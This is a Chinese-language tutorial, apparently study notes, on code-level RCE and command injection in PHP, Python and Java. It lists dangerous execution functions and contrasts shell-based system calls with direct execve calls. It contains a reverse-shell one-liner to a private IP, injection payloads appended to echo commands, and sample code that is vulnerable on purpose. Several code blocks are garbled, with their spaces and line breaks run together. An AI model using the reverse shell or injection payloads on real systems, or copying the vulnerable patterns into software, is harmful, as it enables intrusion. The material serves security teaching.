rce代码层面
目录
- RCE的分类
- Remote Code Execute 远程代码执⾏
- php
- Remote Command Execte 远程命令执⾏
- php
- shell的相关知识
- 管道
- 重定向
- fd
- 反弹shell
- linux进程的创建
- c/php/python下的system()/popen()函数
- python的subprocess.call函数
- java的Runtime.getRuntime().exec和ProcessBuilder()
- 命令注⼊到底在注⼊什么
- php
- python
- system类
- execve类
RCE的分类
Remote Code Execute 远程代码执⾏
因为需求设计,程序代码⾥⾯有时候也会把⽤户的输⼊作为代码的⼀部分进⾏执⾏,也就造成了
远程代码执⾏漏洞。
php
php中可以进⾏远程代码执⾏的函数有很多,也常常被⼀些webshell来做免杀利⽤。如果我们
的输⼊可以⾛到以下的函数作为参数,那么就有可能有远程代码执⾏。
eval() //把字符串作为PHP代码执⾏
assert() //检查⼀个断⾔是否为 FALSE,可⽤来执⾏代码
preg_replace() //执⾏⼀个正则表达式的搜索和替换
call_user_func() //把第⼀个参数作为回调函数调⽤
call_user_func_array() //调⽤回调函数,并把⼀个数组参数作为回调函数的参数
array_map() //为数组的每个元素应⽤回调函数
$a($b) //动态函数
python
python中能进⾏代码执⾏的函数也不多。如果我们的输⼊可以⾛到以下的函数作为参数,那
么就有可能有远程代码执⾏。
exec(string) # Python代码的动态执⾏
eval(string) # 返回表达式或代码对象的值
execfile(string) # 从⼀个⽂件中读取和执⾏Python脚本
java
java中能够直接执⾏代码的函数基本没有,都是调⽤反序列化来动态执⾏字符串。
Remote Command Execte 远程命令执⾏
⼀般出现这种漏洞,是因为应⽤系统从设计上需要给⽤户提供指定的远程命令操作的接⼝。⽐
如我们常⻅的路由器、防⽕墙、⼊侵检测(硬件设备、⼯业交付)等设备的web管理界⾯上。
仅当Web应⽤程序代码包含操作系统调⽤(外壳程序、shell)并且调⽤中使⽤了⽤户输⼊时,
才可能进⾏OS命令注⼊攻击。它们不是特定于语⾔的,命令注⼊漏洞可能会出现在所有让你
调⽤系统外壳命令的语⾔中:C,Java,PHP,Perl,Ruby,Python等。
php
exec — 执⾏⼀个外部程序
passthru — 执⾏外部程序并且显示原始输出
proc_open — 执⾏⼀个命令,并且打开⽤来输⼊/输出的⽂件指针。
shell_exec — 通过 shell 执⾏命令并将完整的输出以字符串的⽅式返回
system — 执⾏外部程序,并且显示输出
python
os.system() #执⾏系统指令
os.popen() #popen()⽅法⽤于从⼀个命令打开⼀个管道
subprocess.call #执⾏由参数提供的命令
java
Runtime.getRuntime().exec()
ProcessBuilder()
shell的相关知识
管道
command1 | command2 前⼀个命令的输出作为后⼀个命令的输⼊
重定向
command1 < input.txt 将input.txt的内容读出来重定向作为command1的参数
command2 > out.txt 将command2的输出重定向到out.txt中
fd
linux下的⽂件描述符(file descriptor)是linux下⼀个重要的进程概念(本质上是⼀个索
引)。
我们知道在Linux系统中⼀切皆可以看成是⽂件,⽂件⼜可分为:普通⽂件、⽬录⽂件、链接
⽂件和设备⽂件。在操作这些所谓的⽂件的时候,我们每操作⼀次就找⼀次名字,这会耗费⼤
量的时间和效率。所以Linux中规定每⼀个⽂件对应⼀个索引,这样要操作⽂件的时候,我们
直接找到索引就可以对其进⾏操作了。⽂件描述符(file descriptor)就是内核为了⾼效管理
这些已经被打开的⽂件所创建的索引。
$$ --> linux下当前进程的pid
/proc --> linux伪⽂件系统 ---》进程相关的信息挂载在这⾥
反弹shell
sh -i >& /dev/tcp/192.168.101.30/12345 0>&1
linux进程的创建
linux区分⽤户态和内核态,⽤户态程序要进⾏所有动作、其实都是通过调⽤system call(系统调⽤syscall)向内核发起请求,最终在内核态执⾏完毕后才能得到返回。
系统调⽤跟⽤户⾃定义函数⼀样也是⼀个函数,不同的是系统调⽤运⾏在内核态,⽽⽤户⾃定义函数运⾏在⽤户态。由于某些指令(如设置时钟、关闭/打开中断和I/O操作等)只能运⾏在内核态,所以操作系统必须提供⼀种能够进⼊内核态的⽅式,系统调⽤就是这样的⼀种机制。
linux进程的创建⼤致是这样⼀个流程。
当执⾏命令时
bash -c whoami
其实在内核态执⾏了以下动作
bash(pid:52350) --> sys_fork--> bash(pid:52796) --> sys_execve --> /bin/whoami(pid:52796)
strace
执⾏命令
strace -tt -f -e trace=process python3 test.py
```txt```python
import osif __name__ == '__main__':name = '123";ping baidu.com -c 100;echo"456'cmd = 'echo "HELLO ' + name + '"'os.system(cmd)
c/php/python下的system()/popen()函数
system($input$)
执⾏ sh -c '$input'
可以转化为
bash(pid:1) --> sys_fork--> bash(pid:2) --> sys_execve --> /bin/whoami(pid:2)
python的subprocess.call函数
import os
import subprocess
if __name__ == '__main__':name = '123";ping baidu.com -c 100;echo "456'cmd = 'echo "HELLO ' + name + '"'subprocess.call(cmd, shell=True)
import os
import subprocess
if __name__ == '__main__':name = '123";ping baidu.com -c 100;echo "456'cmd = ['echo', '"HELLO ' + name + '"']subprocess.call(cmd, shell=False)
java的Runtime.getRuntime().exec和ProcessBuilder()
importjava.io.BufferedReader;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;publicclassmain {publicstaticvoidmain(String[] args) {try{Stringname="123';ping baidu.com -c 3;echo '456";Stringcmd="echo 'HELLO "+name+"'";Processpro=Runtime.getRuntime().exec(cmd);InputStreamin=null;in=pro.getInputStream();BufferedReaderread=newBufferedReader(newInputStreamReader(in));Stringresult=read.readLine();System.out.println("INFO:"+result);} catch (IOExceptione) {thrownewRuntimeException(e);}}
}
改进
public class Main {public static void main(String[] args) {try {String name = "123"; // 用户输入应严格验证String cmd = "echo 'HELLO " + name + "'";// 使用 ProcessBuilder 执行命令ProcessBuilder processBuilder = new ProcessBuilder("bash", "-c", cmd);Process pro = processBuilder.start();InputStream in = pro.getInputStream();BufferedReader read = new BufferedReader(new InputStreamReader(in));String result = read.readLine();System.out.println("INFO: " + result);} catch (IOException e) {throw new RuntimeException(e);}}
}
命令注⼊到底在注⼊什么
php
<?php
$name = $_GET['name'];
$cmd = 'echo "Hello '.$name.'"';
var_dump("system", system($cmd)); //sh -c
echo '</br>';
var_dump("exec",exec($cmd)); //sh -c
echo '</br>';
var_dump("shell_exec",shell_exec($cmd)); //sh -c
echo '</br>';
var_dump("popen");$x = popen($cmd, 'r');var_dump($x);var_dump(fread($x,1024)); //sh -c
echo '</br>';
$a = array();
var_dump("proc_open");$x = proc_open($cmd, $a,$b); //sh -c
?>
php中⼤多数执⾏外部命令的函数,其实都是调⽤sh -c 去执⾏。
python
import os
if __name__ == '__main__':name = '123";ping baidu.com -c 100;echo "456'cmd = 'echo "HELLO ' + name + '"'os.system(cmd)
java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class main {public static void main(String[] args) {try {String name = "123';ping baidu.com -c 3;echo '456";String cmd = "echo 'HELLO " + name + "'";Process pro = Runtime.getRuntime().exec(cmd); //execveInputStream in = null;in = pro.getInputStream();BufferedReader read = new BufferedReader(newInputStreamReader(in));String result = read.readLine();System.out.println("INFO:"+result);}catch (IOException e) {throw new RuntimeException(e);}}
}
system类
如果是执⾏system函数,或者类似system函数,他们都是直接⾛的fork–>execve流程(调⽤外
部sh -c),这种情况下,我们的输⼊被拼接加⼊到作为bash -c的参数,⽽bash -c是⽀持shell
语法的,所以我们能够很轻易的进⾏拼接、绕过,这种也是最常⻅的RCE攻击,简单的⼀笔。
execve类
⽐如Runtime.getRuntime().exec()和subprocess.call(cmd, shell=False)这两者,⾛的流程
是直接execve,在这种情况下,我们的输⼊只能作为固定进程的参数,那么我们就没办法⽤
shell语法了,与任何拼接都没有关系了。